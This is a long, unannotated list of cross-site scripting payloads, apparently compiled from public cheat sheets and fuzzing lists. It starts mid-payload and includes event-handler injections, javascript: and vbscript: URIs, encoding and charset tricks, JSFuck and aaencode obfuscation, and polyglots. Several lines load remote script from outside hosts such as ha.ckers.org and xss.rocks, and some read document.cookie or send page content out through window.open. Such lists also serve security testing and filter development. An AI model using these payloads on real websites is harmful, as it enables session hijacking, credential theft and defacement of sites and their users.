confirm(1);</script </svg> <svg><script onlypossibleinopera:-)> alert(1) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <div/onmouseover='alert(1)'> style="x:"> <--`<img/src=` onerror=alert(1)> --!> <script/src=data:text/javascript,alert(1)></script> <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> "><img src=x onerror=window.open('https://www.google.com/');> <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object> <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a> <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>> <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe> 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> <x style="behavior:url(%(sct)s)"> <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> <event-source src="%(event)s" onload="javascript:alert(1)"> <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>"> <script>%(payload)s</script> <script src=%(jscript)s></script> <script language='javascript' src='%(jscript)s'></script> <script>javascript:alert(1)</script> <IMG SRC="javascript:javascript:alert(1);"> <IMG SRC=javascript:javascript:alert(1)> <IMG SRC=`javascript:javascript:alert(1)`> <SCRIPT SRC=%(jscript)s?<B> <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> <BODY ONLOAD=javascript:alert(1)> <BODY ONLOAD=javascript:javascript:alert(1)> <IMG SRC="jav ascript:javascript:alert(1);"> <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)> <SCRIPT/SRC="%(jscript)s"></SCRIPT> <<SCRIPT>%(payload)s//<</SCRIPT> <IMG SRC="javascript:javascript:alert(1)" <iframe src=%(scriptlet)s < <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);"> <IMG DYNSRC="javascript:javascript:alert(1)"> <IMG LOWSRC="javascript:javascript:alert(1)"> <BGSOUND SRC="javascript:javascript:alert(1);"> <BR SIZE="&{javascript:alert(1)}"> <LAYER SRC="%(scriptlet)s"></LAYER> <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);"> <STYLE>@import'%(css)s';</STYLE> <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet"> <XSS STYLE="behavior: url(%(htc)s);"> <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"> <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);"> <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME> <TABLE BACKGROUND="javascript:javascript:alert(1)"> <TABLE><TD BACKGROUND="javascript:javascript:alert(1)"> <DIV STYLE="background-image: url(javascript:javascript:alert(1))"> <DIV STYLE="width:expression(javascript:alert(1));"> <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))"> <XSS STYLE="xss:expression(javascript:alert(1))"> <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE> <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE> <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]--> <BASE HREF="javascript:javascript:alert(1);//"> <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT> <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML> <SCRIPT SRC="%(jpg)s"></SCRIPT> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)"> <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE> <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&> <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT> <style onreadystatechange=javascript:javascript:alert(1);></style> <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html> <embed code=%(scriptlet)s></embed> <embed code=javascript:javascript:alert(1);></embed> <embed src=%(jscript)s></embed> <frameset onload=javascript:javascript:alert(1)></frameset> <object onerror=javascript:javascript:alert(1)> <embed type="image" src=%(scriptlet)s></embed> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml> <IMG SRC=&{javascript:alert(1);};> <a href="javAascript:javascript:alert(1)">test1</a> <a href="javaascript:javascript:alert(1)">test1</a> <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed> <iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>"> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> '';!--"<XSS>=&{()} <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC=JaVaScRiPt:alert('XSS')> <a onmouseover="alert(document.cookie)">xxs link</a> <a onmouseover=alert(document.cookie)>xxs link</a> <IMG SRC= onmouseover="alert('xxs')" `"'><img src=xxx:x onerror\x09=javascript:alert(1)> <script>javascript:alert(1)<\x00/script> <img src=# onerror\x3D"javascript:alert(1)" > <input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus> <video poster=javascript:javascript:alert(1)// <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X <video><source onerror="javascript:javascript:alert(1)"> <video onerror="javascript:javascript:alert(1)"><source> <form><button formaction="javascript:javascript:alert(1)">X <body oninput=javascript:alert(1)><input autofocus> <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> <frameset onload=javascript:alert(1)> <table background="javascript:javascript:alert(1)"> <!--<img src="--><img src=x onerror=javascript:alert(1)//"> <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> <![><img src="]><img src=x onerror=javascript:alert(1)//"> <style><img src="</style><img src=x onerror=javascript:alert(1)//"> <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> <object data="data:text/html;base64,%(base64)s"> <embed src="data:text/html;base64,%(base64)s"> <b <script>alert(1)</script>0 <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> <x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> <embed src="javascript:alert(1)"> <img src="javascript:alert(1)"> <image src="javascript:alert(1)"> <script src="javascript:alert(1)"> <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x <? foo="><script>javascript:alert(1)</script>"> <! foo="><script>javascript:alert(1)</script>"> </ foo="><script>javascript:alert(1)</script>"> <? foo="><x foo='?><script>javascript:alert(1)</script>'>"> <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> <% foo><x foo="%><script>javascript:alert(1)</script>"> <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> <object onError object onError="javascript:javascript:alert(1)"></object onError> <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> <body onload body onload="javascript:javascript:alert(1)"></body onload> <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> <script>javascript:alert(1)</script\x0D <script>javascript:alert(1)</script\x0A <script>javascript:alert(1)</script\x0B <script charset="\x22>javascript:alert(1)</script> --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> `"'><img src='#\x27 onerror=javascript:alert(1)> <svg/onload=alert(1)> </tag><svg onload=alert(1)> "></tag><svg onload=alert(1)> </script><svg onload=alert(1)> “><img onerror=alert(1) src> <img src='x' onerror='alert(1)'> %00<script>alert(1)</script> %00<script>alert(1);</script> </Textarea/</Noscript/</Pre/</Xmp><Svg/Onload=confirm(document.domain)>”<script/src=//15.rs></script><script src=//⑮.₨></script> * document.createElement('div').innerHTML = "<img src=1 onerror=alert()> SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"> <IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`> <IMG SRC=javascript:alert("XSS")> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=\"javascript:alert('XSS');\"> <iframe src=http://ha.ckers.org/scriptlet.html> <IMG SRC=\"javascript:alert('XSS')\" <SCRIPT SRC=//ha.ckers.org/.js> <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> ;alert(String.fromCharCode(88,83,83))// ></SCRIPT> > ><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <IMG ><SCRIPT>alert( XSS )</SCRIPT> > <IMG SRC= jav ascript:alert( XSS ); > <IMG SRC= jav	ascript:alert( XSS ); > <<SCRIPT>alert( XSS );//<</SCRIPT> %253cscript%253ealert(1)%253c/script%253e ><s %2b cript>alert(document.cookie)</script> <iframe SRC="javascript:alert('XSS');" < <iframe SRC="javascript:alert('XSS');" // >alert(1)</script> <scr\x00ipt>alert(1)</scr\x00ipt> <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` // <input type=image src onerror="prompt(1)"> <a href="javascript:var a=''-alert(1)-''">a</a> <a href="javascript:alert(2)">a</a> <a href="javascript:alert(3)">a</a> '-alert(1)-' javascript:alert(1) javascript:alert(1) javascript:alert(1) javascriptΪlert(1) data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg <svg %09onload=alert(1)> <svg onload%09%20%28%2c%3b=alert(1)> ';alert(document.domain)// <svg><script>alert('1') <svg><script>alert(1)</script></svg> <svg////////onload=alert(1)> <svg id=x;onload=alert(1)> <svg id=`x`onload=alert(1)> <img src=1 alt=al lang=ert onerror=top[alt+lang](0)> <script>$=1,alert($)</script> <script ~~~>confirm(1)</script ~~~> <script>$=1,\u0061lert($)</script> <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script> <</script/script><script ~~~>\u0061lert(1)</script ~~~> </style></scRipt><scRipt>alert(1)</scRipt> <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)> <img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);"> (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) <script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script> <script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_'); <img/src=`%00` onerror=this.onerror=confirm(1) <img src=`%00`
 onerror=alert(1)
 <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ "><h1/onmouseover='\u0061lert(1)'>%00 <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') '() {'document.createElement('img').src='javascript:while(1){}' '<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>' (function(a){alert(1)}).call() {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}} p'rompt(1) "(prompt(1))in" parseInt("prompt",36); eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))) eval(1558153217..toString(36))(1) eval(630038579..toString(30))(1) eval(0x258da033.toString(30))(1) for((i)in(self))eval(i)(1) {"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}} javascript:prompt(1)#{"action":1} vbscript:prompt(1)#{"action":1} window.location.assign("http://xss.cx") window.name='a\x01b' window.name='hacked';location.replace('about:blank'); window.name="javascript:confirm((window.opener||window).document.cookie);"; window.open("http://xss.cx","confirm(document.domain);", "", false); vbscr	ipt:confirm(1)" vbscript:confirm(1); vbscript:confirm(1); {{{}.toString.constructor('confirm(1)')()}} confirm(1)".replace(/.+/,eval)// confirm(1)>>>/xss '+confirm(9)&&null==' ';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//"; confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//-- \";confirm(document.location);// confirm(document.location) confirm(document.selection.createRange().getBookmark()) confirm(location.hostname) confirm(window.toStaticHTML('<base href="http://xss.cx/"></base>')); confirm(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click')); confirm(window.toStaticHTML('<marquee>foo</marquee>')); confirm(<xss>xs{[function::status]}s</xss>) %c0″//(0000%0dconfirm(1)// ;\"))}catch(e) {confirm(document.location);}// ;\\"))}catch(e) {confirm(document.location);}// \"));}catch(e){confirm(document.domain);}// \"));}catch(e){confirm(document.domain)}// \"));}catch(e){x=window.open('http://xss.cx/');setTimeout('confirm(x.document.body.innerText)',4000)}// ";document.body.addEventListener("DOMActivate",confirm(1))// document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=confirm(1)>') javaSCRIPT:confirm(1) javas	cript:\u0061lert(1); javascript:confirm(1) "javascript:confirm(0);", ;javascript:confirm(0); ;})javascript:confirm(0); javascript:confirm(0); javascript:confirm(1)// javascript:prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x "javascript:prompt(/compaXSS/.source);var x = prompt;x(0);x(/XSS/.source);x" /"/_javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x javascript:\u0061lert(1) javascript:confirm(document.cookie) ;prompt(1)//”;prompt(2)//”;prompt(3)//–></SCRIPT>”>’><SCRIPT>prompt(4)</SCRIPT> "!=prompt(9)!=" "*prompt(9)*" "-prompt(9)-" "/prompt(9)/" "<<prompt(9)<<" "<=prompt(9)<=" "<prompt(9)<" "===prompt(9)===" "==prompt(9)==" ">=prompt(9)>=" ">>>prompt(9)>>>" ">>prompt(9)>>" ">prompt(9)>" "?prompt(9):" "^prompt(9)^" "|prompt(9)|" "||prompt(9)||" prompt(9) prompt(location.hash) prototype.join=function(){confirm("PWND:"+document.body.innerHTML)}')(); j
a
vas
cript:confirm(1); parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm" <input type="text" value="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></input> <input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input> <input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input> <img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e> <a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</a> <math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</math> <iframe src="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></iframe> <!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e--> <title>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</title> <style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style> <textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea> <div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div> <svg onload="void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';"></svg> " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// VasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() 